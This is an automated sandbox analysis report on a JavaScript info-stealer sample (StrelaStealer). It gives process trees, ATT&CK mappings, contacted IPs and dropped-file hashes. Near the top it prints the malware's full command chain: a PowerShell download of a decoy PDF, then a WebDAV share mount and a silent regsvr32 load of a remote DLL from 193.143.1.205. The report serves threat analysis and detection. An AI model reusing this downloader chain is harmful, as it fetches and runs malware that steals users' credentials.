Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1238420799116328606.js	5%	Virustotal		Browse
1238420799116328606.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/HA	0%	Avira URL Cloud	safe
http://ede.W	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.43	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/tem	net.exe, 00000008.00000002.1402441349.0000028AB5F48000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000A.00000003.1398889113.0000019DCA020000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.dr	false		high
http://crl.ver)	svchost.exe, 0000000A.00000002.2599221196.0000019DCA200000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ede.W	svchost.exe, 0000000A.00000002.2598337070.0000019DC4C94000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.9.dr	false		high
https://www.adobe.co	ReaderMessages.6.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.10.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000008.00000002.1402441349.0000028AB5F78000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1402441349.0000028AB5F71000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1402441349.0000028AB5F9E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1402441349.0000028AB5F48000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/HA	net.exe, 00000008.00000002.1402441349.0000028AB5F78000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588328
Start date and time:	2025-01-11 00:04:59 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1238420799116328606.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 2.23.242.162, 199.232.210.172, 23.209.209.135, 2.16.168.107, 2.16.168.105, 2.16.100.168, 88.221.110.91, 13.107.246.45, 172.202.163.200, 52.22.41.97, 23.206.252.175, 52.149.20.212
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, time.windows.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:05:49	Task Scheduler	Run new task: {861A2D22-C48F-45DB-8290-41AF4243E15C} path: .
18:06:04	API Interceptor	23x Sleep call for process: powershell.exe modified
18:06:07	API Interceptor	1x Sleep call for process: net.exe modified
18:06:07	API Interceptor	2x Sleep call for process: svchost.exe modified
19:58:22	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	21905169581426428153.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	340651472865228929.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	21092429235262508.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	27458284801797225280.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1957514819973625739.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32600206981428831400.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	240815025266174071.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17231147702223410654.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2640024673100216355.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16981299741734811290.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	21905169581426428153.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	340651472865228929.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	21092429235262508.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	27458284801797225280.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	32600206981428831400.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	240815025266174071.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	17231147702223410654.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2640024673100216355.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	8058323181786520440.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	5250250172915227960.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	1957514819973625739.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.35
	31352150452488124098.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	10965191911914222758.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	241198432146011036.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.34
	2305511452193571644.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.39
	133313712272908537.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.25
	1667730710460316051.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.35
	11057252552282120022.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.37
	1071116915318159767.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.37
	2832817159901627624.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.37

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1573099322476027960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	21905169581426428153.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11804174121566513871.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	340651472865228929.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	21092429235262508.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27458284801797225280.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1957514819973625739.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32600206981428831400.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	240815025266174071.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17231147702223410654.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7066990360098295
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6VqQ:2JIB/wUKUKQncEmYRTwh0k
MD5:	B8DAC8D7979298D3ECA6FBEDE1184473
SHA1:	977094161725F5D73FFA439DFD0F675BA666C8EB
SHA-256:	6784B6FB52433AAF20410E1CBB17150D52BFC6536F5717DA1E14542F7CE7C712
SHA-512:	776F4C13D4A1E5BF48ED70766BB60530E1974A752F4D66A38B6E8903DEAE33756C0C67821F6DB3ED63B122B77045D5CDBBF73939A3E5ADE180E735CA46302C65
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x3fcfdf8f, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7900028049411082
Encrypted:	false
SSDEEP:	1536:LSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:LazaPvgurTd42UgSii
MD5:	6A5CF186BE2A77728F72932426D3DC67
SHA1:	F5FA818036076D4B3C6C1A5F4CC81B7AE0765C28
SHA-256:	9AF4AE4FE918605B58CE36888DEE8BE788948118CEF9A2AAD7B324D3E2EE850C
SHA-512:	147250EF0E183B47EF74915E02A44C90985F723D03BE78C4F5FF1BB812C3E16B457C819C0A623BC5C15DC9C72338ECA2DCDB3A034843A45CAC43BB486AD20FDA
Malicious:	false
Preview:	?..... ...............X\...;...{......................0.`.....42...{5......}7.h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{..................................<........}..................<.9h.....}U..........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	MPEG-4 LOAS
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08165814270097635
Encrypted:	false
SSDEEP:	3:cB1KYeVt1t/57Dek3JKPS+AllEqW3l/TjzzQ/t:cB1KzVtHR3tKfAmd8/
MD5:	37A7C1D0347383D270F1A2A588A0A007
SHA1:	51D418260EB1AF3245E72730F149F04FD865F1A4
SHA-256:	64174F7721B6CA2AD16ACE57970221AF672CA75AAB15DA6BE3D4EF3981CDA839
SHA-512:	500831B2C43BAF39C17D569EB49E31E08A5D6E2A197B2ADA2638BF46A0FC7580DA3FEBD2FDFF3FC8AD96442C6644C0923F25802D8109C469213809EDADCDD1A6
Malicious:	false
Preview:	V........................................;...{.......}U.42...{5.........42...{5.42...{5...Y.42...{59................<.9h.....}U.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.203624758274389
Encrypted:	false
SSDEEP:	6:iO4NfoEsN+q2PcNwi2nKuAl9OmbnIFUtSNfUZZmwsNfUNVkwOcNwi2nKuAl9Omb5:7kyIvLZHAahFUtmUZ/gUz54ZHAaSJ
MD5:	63CAC1B805EF984A1ABD4ED9E1A5D110
SHA1:	727995E33388324D6D9F51E84E42D1845962D118
SHA-256:	FD7AB210B1068F188EC0A6F6EB4DFEAAE52A1B2410305309CE853A7316DEBEB0
SHA-512:	01D27FA4D03390342C67CED53479AB86A2D43EE90798D5F86E37A4ED757787A8A3A7E5617820F1CFDE63589877F09521F053B6F6E130CDBF189D7E3359B4DCEF
Malicious:	false
Preview:	2025/01/10-18:06:07.784 1a18 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-18:06:07.786 1a18 Recovering log #3.2025/01/10-18:06:07.786 1a18 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.203624758274389
Encrypted:	false
SSDEEP:	6:iO4NfoEsN+q2PcNwi2nKuAl9OmbnIFUtSNfUZZmwsNfUNVkwOcNwi2nKuAl9Omb5:7kyIvLZHAahFUtmUZ/gUz54ZHAaSJ
MD5:	63CAC1B805EF984A1ABD4ED9E1A5D110
SHA1:	727995E33388324D6D9F51E84E42D1845962D118
SHA-256:	FD7AB210B1068F188EC0A6F6EB4DFEAAE52A1B2410305309CE853A7316DEBEB0
SHA-512:	01D27FA4D03390342C67CED53479AB86A2D43EE90798D5F86E37A4ED757787A8A3A7E5617820F1CFDE63589877F09521F053B6F6E130CDBF189D7E3359B4DCEF
Malicious:	false
Preview:	2025/01/10-18:06:07.784 1a18 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-18:06:07.786 1a18 Recovering log #3.2025/01/10-18:06:07.786 1a18 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.1714581966522895
Encrypted:	false
SSDEEP:	6:iO4NfCqM+q2PcNwi2nKuAl9Ombzo2jMGIFUtSNfoZmwsNfLMVkwOcNwi2nKuAl97:7kC3+vLZHAa8uFUtmo/g4V54ZHAa8RJ
MD5:	BEF836C46A75BB40587BD68800589C84
SHA1:	C8E4C6ECB418C2A347A847DE3F769302894F90AA
SHA-256:	AA17D827FFE31806690404D5A9A8366ECE19338A775FDDADF8CEFA75FBFF5247
SHA-512:	B424D8D2E99C788E8457398C0A49F8B5F29F5272D80D2AA6CAC2F7BDCF8E00CA56334415387C1B4762116CEB61A5DE3667A4936AD2BE7208E1FC22D3E89EFA80
Malicious:	false
Preview:	2025/01/10-18:06:07.896 10ac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-18:06:07.898 10ac Recovering log #3.2025/01/10-18:06:07.898 10ac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.1714581966522895
Encrypted:	false
SSDEEP:	6:iO4NfCqM+q2PcNwi2nKuAl9Ombzo2jMGIFUtSNfoZmwsNfLMVkwOcNwi2nKuAl97:7kC3+vLZHAa8uFUtmo/g4V54ZHAa8RJ
MD5:	BEF836C46A75BB40587BD68800589C84
SHA1:	C8E4C6ECB418C2A347A847DE3F769302894F90AA
SHA-256:	AA17D827FFE31806690404D5A9A8366ECE19338A775FDDADF8CEFA75FBFF5247
SHA-512:	B424D8D2E99C788E8457398C0A49F8B5F29F5272D80D2AA6CAC2F7BDCF8E00CA56334415387C1B4762116CEB61A5DE3667A4936AD2BE7208E1FC22D3E89EFA80
Malicious:	false
Preview:	2025/01/10-18:06:07.896 10ac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-18:06:07.898 10ac Recovering log #3.2025/01/10-18:06:07.898 10ac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\0c072552-aaa6-4fe5-bb49-c184f9836f80.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.961814337818626
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqXsBdOg2HkpZcaq3QYiubSpDyP7E4TX:Y2sRdsNdMHke3QYhbSpDa7n7
MD5:	078B5D032584BB9134FBC7EC63E75CA6
SHA1:	97BBAD8A56234426F9F96BD560BD8144C06D871F
SHA-256:	B993E2DEED1876506DEBC37D99D0AB7EDF76C828D7847B0AACDFAB4480DA096C
SHA-512:	740515C8D6A9FB2A675D938BBDD864C58A78B9B4D86E15C53FD1554CE88B92E7B40C65BAB1E80309AC1A6E6BDF9B03D1F4B418581170441DC7D654675B1B7371
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381110379435158","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":310712},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.961814337818626
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqXsBdOg2HkpZcaq3QYiubSpDyP7E4TX:Y2sRdsNdMHke3QYhbSpDa7n7
MD5:	078B5D032584BB9134FBC7EC63E75CA6
SHA1:	97BBAD8A56234426F9F96BD560BD8144C06D871F
SHA-256:	B993E2DEED1876506DEBC37D99D0AB7EDF76C828D7847B0AACDFAB4480DA096C
SHA-512:	740515C8D6A9FB2A675D938BBDD864C58A78B9B4D86E15C53FD1554CE88B92E7B40C65BAB1E80309AC1A6E6BDF9B03D1F4B418581170441DC7D654675B1B7371
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381110379435158","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":310712},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.2306506765599465
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtPaTuXZ:CwNw1GHqPySfkcigoO3h28ytPaTcZ
MD5:	ECDE9D5AEE9172C2385F72BB39AA1E8E
SHA1:	7B92C8412B269F579DA85A7E1A3827B739B123BD
SHA-256:	B2070141E4257ED0B8763075DF9CEA4E554A5A1613B844E5802F7BC500C5AB57
SHA-512:	090CE23C736254BB5DF2DC8BCF2A4CC45A01BEDC2F3CE84123F29475CA5C014718A67DA427E8AEC83F4D9F508E1A40C3C9D8746F9945E408377B0AA8AFC71A04
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.143113338975338
Encrypted:	false
SSDEEP:	6:iO4NfxvFMM+q2PcNwi2nKuAl9OmbzNMxIFUtSNf4uZmwsNfsMMVkwOcNwi2nKuAo:7kxvFN+vLZHAa8jFUtmD/gsNV54ZHAab
MD5:	980D29652684B774E5D54D8CBF1B3AAA
SHA1:	842BA803E38A2428DC2906507A7ABCFBBD3DB484
SHA-256:	38C6C50D3BC4B6CFC53BC83145B50E87AF0A40FEB69801879A5981D6BADFC0F8
SHA-512:	50AA8D763B54909241D7902142FE7980C311E7E22922F85D0CC9CE88A2311FCF947252ADEF3DF22BD167B59FF4C24F1E125405A5113EF8B03EF968F76AF8795C
Malicious:	false
Preview:	2025/01/10-18:06:08.212 10ac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-18:06:08.229 10ac Recovering log #3.2025/01/10-18:06:08.242 10ac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.143113338975338
Encrypted:	false
SSDEEP:	6:iO4NfxvFMM+q2PcNwi2nKuAl9OmbzNMxIFUtSNf4uZmwsNfsMMVkwOcNwi2nKuAo:7kxvFN+vLZHAa8jFUtmD/gsNV54ZHAab
MD5:	980D29652684B774E5D54D8CBF1B3AAA
SHA1:	842BA803E38A2428DC2906507A7ABCFBBD3DB484
SHA-256:	38C6C50D3BC4B6CFC53BC83145B50E87AF0A40FEB69801879A5981D6BADFC0F8
SHA-512:	50AA8D763B54909241D7902142FE7980C311E7E22922F85D0CC9CE88A2311FCF947252ADEF3DF22BD167B59FF4C24F1E125405A5113EF8B03EF968F76AF8795C
Malicious:	false
